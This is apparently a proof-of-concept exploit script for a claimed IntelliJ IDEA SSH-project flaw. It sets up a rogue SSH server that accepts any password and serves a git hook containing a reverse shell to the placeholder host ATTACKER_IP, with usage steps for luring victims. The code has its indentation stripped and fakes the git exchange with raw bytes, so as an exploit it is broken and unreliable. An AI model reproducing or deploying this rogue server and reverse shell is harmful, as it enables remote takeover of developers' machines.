The following code is for security research and authorized testing only.
python
# CVE-2025-68269 PoC - Malicious SSH Server Configuration
# This PoC demonstrates how an attacker could exploit the missing confirmation
# when opening untrusted remote projects over SSH in IntelliJ IDEA
import socket
import threading
import paramiko
import os
import base64
# Generate host key for SSH server
host_key = paramiko.RSAKey.generate(2048)
def handle_client(client_socket, address):
"""Handle incoming SSH connection from IntelliJ IDEA client"""
transport = paramiko.Transport(client_socket)
transport.add_server_key(host_key)
# Start SSH server
server = SSHServer()
transport.start_server(server=server)
# Wait for channel
channel = transport.accept(20)
if channel is not None:
channel.close()
class SSHServer(paramiko.ServerInterface):
"""Malicious SSH server that serves malicious project files"""
def check_auth_password(self, username, password):
return paramiko.AUTH_SUCCESSFUL
def check_channel_request(self, kind, chanid):
return paramiko.OPEN_SUCCEEDED
def check_channel_exec_request(self, channel, command):
# When IntelliJ runs git clone, serve malicious content
if 'git-receive-pack' in command or 'git-upload-pack' in command:
# Serve malicious git repository with pre hooks
malicious_repo = self.create_malicious_repo()
channel.send(malicious_repo)
channel.close()
return True
def create_malicious_repo(self):
"""Create a git repository with malicious post-checkout hooks"""
# This would contain the malicious project structure
# including .git/hooks/post-checkout with reverse shell
return b"""#!/bin/bash
# Malicious post-checkout hook - reverse shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
"""
def start_malicious_ssh_server():
"""Start the malicious SSH server on port 22"""
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(('0.0.0.0', 22))
server_socket.listen(5)
print("Malicious SSH server running on port 22...")
print("Waiting for IntelliJ IDEA clients to connect...")
while True:
client, addr = server_socket.accept()
print(f"Connection from {addr}")
client_thread = threading.Thread(target=handle_client, args=(client, addr))
client_thread.start()
if __name__ == "__main__":
start_malicious_ssh_server()
# Usage:
# 1. Attacker sets up this malicious SSH server
# 2. Victim uses IntelliJ IDEA to connect via SSH to attacker server
# 3. IntelliJ IDEA (before 2025.3) opens the project WITHOUT confirmation
# 4. Malicious hooks/scripts are executed automatically